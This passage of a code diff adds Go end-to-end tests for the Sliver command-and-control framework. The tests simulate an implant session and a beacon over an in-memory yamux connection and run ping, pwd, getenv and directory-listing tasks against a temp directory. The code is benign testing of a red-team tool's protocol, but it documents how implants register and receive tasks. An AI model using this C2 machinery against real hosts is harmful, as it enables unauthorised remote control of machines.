Timeout: int64(5 * time.Second),
},
})
cancel()
if err != nil {
t.Fatalf("rpc ping (async): %v", err)
}
if resp.GetResponse() == nil || resp.GetResponse().TaskID == "" {
t.Fatalf("expected ping task id in async response, got=%v", resp.GetResponse())
}
taskInfos = append(taskInfos, taskInfo{id: resp.GetResponse().TaskID, nonce: nonce})
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pendingTasks, err := beacon.FetchPendingTasks(ctx)
if err != nil {
t.Fatalf("fetch pending beacon tasks: %v", err)
}
if len(pendingTasks) < tasksCount {
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), tasksCount)
}
results := executeBeaconTasks(t, pendingTasks)
if err := beacon.SendResults(results); err != nil {
t.Fatalf("send beacon results: %v", err)
}
for _, info := range taskInfos {
waitForBeaconTaskCompleted(t, rpcClient, info.id, info.nonce, 10*time.Second)
}
}
func TestMTLSYamux_Beacon_EndToEndAsyncMixedRPCs(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
beaconID := uuid.NewString()
beacon := startTestBeacon(t, implantConn, beaconID)
t.Cleanup(beacon.Stop)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
testDir := t.TempDir()
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
t.Fatalf("write alpha.txt: %v", err)
}
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
t.Fatalf("mkdir subdir: %v", err)
}
reqTimeout := int64(5 * time.Second)
type taskCheck struct {
id string
check func(*testing.T, []byte)
}
checks := make([]taskCheck, 0, 8)
addTask := func(callCtx context.Context, taskID string, check func(*testing.T, []byte)) {
if taskID == "" {
t.Fatalf("expected task id in async response")
}
checks = append(checks, taskCheck{id: taskID, check: check})
}
for i := 0; i < 4; i++ {
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
nonce := int32(2000 + i)
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
Nonce: nonce,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc ping (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
wantNonce := nonce
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
ping := &sliverpb.Ping{}
if err := proto.Unmarshal(data, ping); err != nil {
t.Fatalf("unmarshal ping response: %v", err)
}
if ping.Nonce != wantNonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc pwd (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
pwd := &sliverpb.Pwd{}
if err := proto.Unmarshal(data, pwd); err != nil {
t.Fatalf("unmarshal pwd response: %v", err)
}
if pwd.Path == "" {
t.Fatalf("unexpected empty pwd path")
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc getenv (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
env := &sliverpb.EnvInfo{}
if err := proto.Unmarshal(data, env); err != nil {
t.Fatalf("unmarshal env response: %v", err)
}
if len(env.Variables) != 1 || env.Variables[0].Key != "PATH" {
t.Fatalf("unexpected env response: %+v", env.Variables)
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc ls (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
ls := &sliverpb.Ls{}
if err := proto.Unmarshal(data, ls); err != nil {
t.Fatalf("unmarshal ls response: %v", err)
}
if !ls.Exists {
t.Fatalf("unexpected ls response (Exists=false): %v", ls.GetResponse())
}
found := false
for _, file := range ls.Files {
if file.Name == "alpha.txt" {
found = true
break
}
}
if !found {
t.Fatalf("ls missing expected alpha.txt entry")
}
})
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pendingTasks, err := beacon.FetchPendingTasks(ctx)
if err != nil {
t.Fatalf("fetch pending beacon tasks: %v", err)
}
if len(pendingTasks) < len(checks) {
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), len(checks))
}
results := executeBeaconTasks(t, pendingTasks)
if err := beacon.SendResults(results); err != nil {
t.Fatalf("send beacon results: %v", err)
}
for _, tc := range checks {
data := waitForBeaconTaskResponseBytes(t, rpcClient, tc.id, 10*time.Second)
tc.check(t, data)
}
}
type testBeacon struct {
id string
conn net.Conn
session *yamux.Session
incoming chan *sliverpb.Envelope
done chan struct{}
}
func startTestBeacon(t *testing.T, conn net.Conn, beaconID string) *testBeacon {
t.Helper()
if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
beacon := &testBeacon{
id: beaconID,
conn: conn,
session: muxSession,
incoming: make(chan *sliverpb.Envelope, 64),
done: make(chan struct{}),
}
go beacon.recvLoop()
register := &sliverpb.Register{
Name: "e2e-beacon",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "mtls://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(&sliverpb.BeaconRegister{
ID: beaconID,
Interval: int64(1),
Jitter: int64(0),
Register: register,
NextCheckin: int64(1),
})
if err != nil {
t.Fatalf("marshal beacon register: %v", err)
}
if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgBeaconRegister, Data: regData}); err != nil {
t.Fatalf("send beacon register: %v", err)
}
return beacon
}
func (b *testBeacon) Stop() {
select {
case <-b.done:
default:
close(b.done)
}
_ = b.session.Close()
_ = b.conn.Close()
}
func (b *testBeacon) recvLoop() {
defer close(b.incoming)
for {
stream, err := b.session.Accept()
if err != nil {
return
}
go func(stream net.Conn) {
defer stream.Close()
envelope, err := implantMTLS.ReadEnvelope(stream)
if err != nil || envelope == nil {
return
}
select {
case b.incoming <- envelope:
case <-b.done:
}
}(stream)
}
}
func (b *testBeacon) FetchPendingTasks(ctx context.Context) ([]*sliverpb.Envelope, error) {
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
ID: b.id,
NextCheckin: int64(1),
})
if err != nil {
return nil, err
}
if err := sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData}); err != nil {
return nil, err
}
for {
select {
case envelope, ok := <-b.incoming:
if !ok {
return nil, fmt.Errorf("beacon connection closed")
}
if envelope.Type != sliverpb.MsgBeaconTasks {
continue
}
resp := &sliverpb.BeaconTasks{}
if err := proto.Unmarshal(envelope.Data, resp); err != nil {
return nil, err
}
return resp.Tasks, nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
}
func (b *testBeacon) SendResults(results []*sliverpb.Envelope) error {
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
ID: b.id,
NextCheckin: int64(1),
Tasks: results,
})
if err != nil {
return err
}
return sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData})
}
func executeBeaconTasks(t *testing.T, tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
t.Helper()
sysHandlers := implantHandlers.GetSystemHandlers()
results := make([]*sliverpb.Envelope, 0, len(tasks))
for _, task := range tasks {
if task == nil || task.ID == 0 {
continue
}
handler, ok := sysHandlers[task.Type]
if !ok {
results = append(results, &sliverpb.Envelope{ID: task.ID, UnknownMessageType: true})
continue
}
done := make(chan struct{})
var (
respData []byte
respErr error
)
var doneOnce sync.Once
handler(task.Data, func(data []byte, err error) {
respData = data
respErr = err
doneOnce.Do(func() {
close(done)
})
})
select {
case <-done:
_ = respErr
results = append(results, &sliverpb.Envelope{ID: task.ID, Data: respData})
case <-time.After(2 * time.Second):
t.Fatalf("timeout waiting for handler response (task=%d type=%d)", task.ID, task.Type)
}
}
return results
}
func waitForBeaconRegistration(t *testing.T, rpcClient rpcpb.SliverRPCClient, beaconID string, timeout time.Duration) {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
_, err := rpcClient.GetBeacon(ctx, &clientpb.Beacon{ID: beaconID})
cancel()
if err == nil {
return
}
time.Sleep(25 * time.Millisecond)
}
t.Fatalf("timed out waiting for beacon registration")
}
func waitForBeaconTaskResponseBytes(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, timeout time.Duration) []byte {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
task, err := rpcClient.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
cancel()
if err != nil {
time.Sleep(25 * time.Millisecond)
continue
}
if task.State != models.COMPLETED || len(task.Response) == 0 {
time.Sleep(25 * time.Millisecond)
continue
}
return task.Response
}
t.Fatalf("timed out waiting for beacon task completion (task=%s)", taskID)
return nil
}
func waitForBeaconTaskCompleted(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, wantNonce int32, timeout time.Duration) {
t.Helper()
data := waitForBeaconTaskResponseBytes(t, rpcClient, taskID, timeout)
ping := &sliverpb.Ping{}
if err := proto.Unmarshal(data, ping); err != nil {
t.Fatalf("unmarshal ping response: %v", err)
}
if ping.Nonce != wantNonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
}
}
+441
View File
@@ -0,0 +1,441 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sync"
"testing"
"time"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"github.com/hashicorp/yamux"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/grpc/test/bufconn"
"google.golang.org/protobuf/proto"
)
func TestMTLSYamux_EndToEndPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
stopImplant := startTestImplant(t, implantConn)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pingReq := &sliverpb.Ping{
Nonce: 31337,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
pingResp, err := rpcClient.Ping(ctx, pingReq)
if err != nil {
t.Fatalf("rpc ping: %v", err)
}
if pingResp.Nonce != pingReq.Nonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", pingResp.Nonce, pingReq.Nonce)
}
const concurrentPings = 32
var wg sync.WaitGroup
errCh := make(chan error, concurrentPings)
for i := 0; i < concurrentPings; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer callCancel()
req := &sliverpb.Ping{
Nonce: int32(i),
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
resp, err := rpcClient.Ping(callCtx, req)
if err != nil {
errCh <- err
return
}
if resp.Nonce != req.Nonce {
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
return
}
}(i)
}
wg.Wait()
close(errCh)
for err := range errCh {
t.Error(err)
}
}
func TestMTLSYamux_EndToEndMixedRPCs(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
stopImplant := startTestImplant(t, implantConn)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
testDir := t.TempDir()
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
t.Fatalf("write alpha.txt: %v", err)
}
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
t.Fatalf("mkdir subdir: %v", err)
}
reqTimeout := int64(5 * time.Second)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pwdResp, err := rpcClient.Pwd(ctx, &sliverpb.PwdReq{
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc pwd: %v", err)
}
if pwdResp.Path == "" {
t.Fatalf("unexpected empty pwd path")
}
envResp, err := rpcClient.GetEnv(ctx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc getenv: %v", err)
}
if len(envResp.Variables) != 1 || envResp.Variables[0].Key != "PATH" {
t.Fatalf("unexpected getenv response: %+v", envResp.Variables)
}
lsResp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc ls: %v", err)
}
if !lsResp.Exists {
t.Fatalf("unexpected ls response (Exists=false): %v", lsResp.GetResponse())
}
lsNames := map[string]bool{}
for _, file := range lsResp.Files {
lsNames[file.Name] = true
}
for _, want := range []string{"alpha.txt", "subdir"} {
if !lsNames[want] {
t.Fatalf("ls missing expected entry %q (got %d entries)", want, len(lsResp.Files))
}
}
const concurrentCalls = 64
var wg sync.WaitGroup
errCh := make(chan error, concurrentCalls)
for i := 0; i < concurrentCalls; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer callCancel()
switch i % 4 {
case 0:
req := &sliverpb.Ping{
Nonce: int32(i),
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
}
resp, err := rpcClient.Ping(callCtx, req)
if err != nil {
errCh <- err
return
}
if resp.Nonce != req.Nonce {
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
return
}
case 1:
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if resp.Path == "" {
errCh <- fmt.Errorf("pwd returned empty path")
return
}
case 2:
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if len(resp.Variables) != 1 || resp.Variables[0].Key != "PATH" {
errCh <- fmt.Errorf("unexpected getenv response: %+v", resp.Variables)
return
}
default:
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if !resp.Exists {
errCh <- fmt.Errorf("unexpected ls response (Exists=false): %v", resp.GetResponse())
return
}
found := false
for _, file := range resp.Files {
if file.Name == "alpha.txt" {
found = true
break
}
}
if !found {
errCh <- fmt.Errorf("ls missing expected alpha.txt entry")
return
}
}
}(i)
}
wg.Wait()
close(errCh)
for err := range errCh {
t.Error(err)
}
}
func dialBufConn(ctx context.Context, ln *bufconn.Listener) (*grpc.ClientConn, error) {
dialer := func(context.Context, string) (net.Conn, error) { return ln.Dial() }
return grpc.DialContext(ctx, "bufnet",
grpc.WithContextDialer(dialer),
grpc.WithTransportCredentials(insecure.NewCredentials()),
)
}
func waitForSessionID(t *testing.T, timeout time.Duration) string {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
sessions := core.Sessions.All()
if 0 < len(sessions) {
return sessions[0].ID
}
time.Sleep(25 * time.Millisecond)
}
t.Fatalf("timed out waiting for session registration")
return ""
}
func startTestImplant(t *testing.T, conn net.Conn) func() {
t.Helper()
if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
register := &sliverpb.Register{
Name: "e2e",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "mtls://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(register)
if err != nil {
t.Fatalf("marshal register: %v", err)
}
if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
t.Fatalf("send register: %v", err)
}
handlers := implantHandlers.GetSystemHandlers()
loopDone := make(chan struct{})
go func() {
defer close(loopDone)
streamSem := make(chan struct{}, 128)
for {
stream, err := muxSession.Accept()
if err != nil {
return
}
select {
case streamSem <- struct{}{}:
default:
_ = stream.Close()
continue
}
go func(stream net.Conn) {
defer func() { <-streamSem }()
defer stream.Close()
envelope, err := implantMTLS.ReadEnvelope(stream)
if err != nil || envelope == nil || envelope.ID == 0 {
return
}
handler, ok := handlers[envelope.Type]
if !ok {
_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
return
}
handler(envelope.Data, func(data []byte, err error) {
_ = err
_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, Data: data})
})
}(stream)
}
}()
return func() {
_ = muxSession.Close()
_ = conn.Close()
select {
case <-loopDone:
case <-time.After(5 * time.Second):
}
}
}
func sendYamuxEnvelope(session *yamux.Session, envelope *sliverpb.Envelope) error {
stream, err := session.Open()
if err != nil {
return err
}
defer stream.Close()
return implantMTLS.WriteEnvelope(stream, envelope)
}
Loaded 100 of 585 files, more files were not shown because too many files have changed in this diff. Show more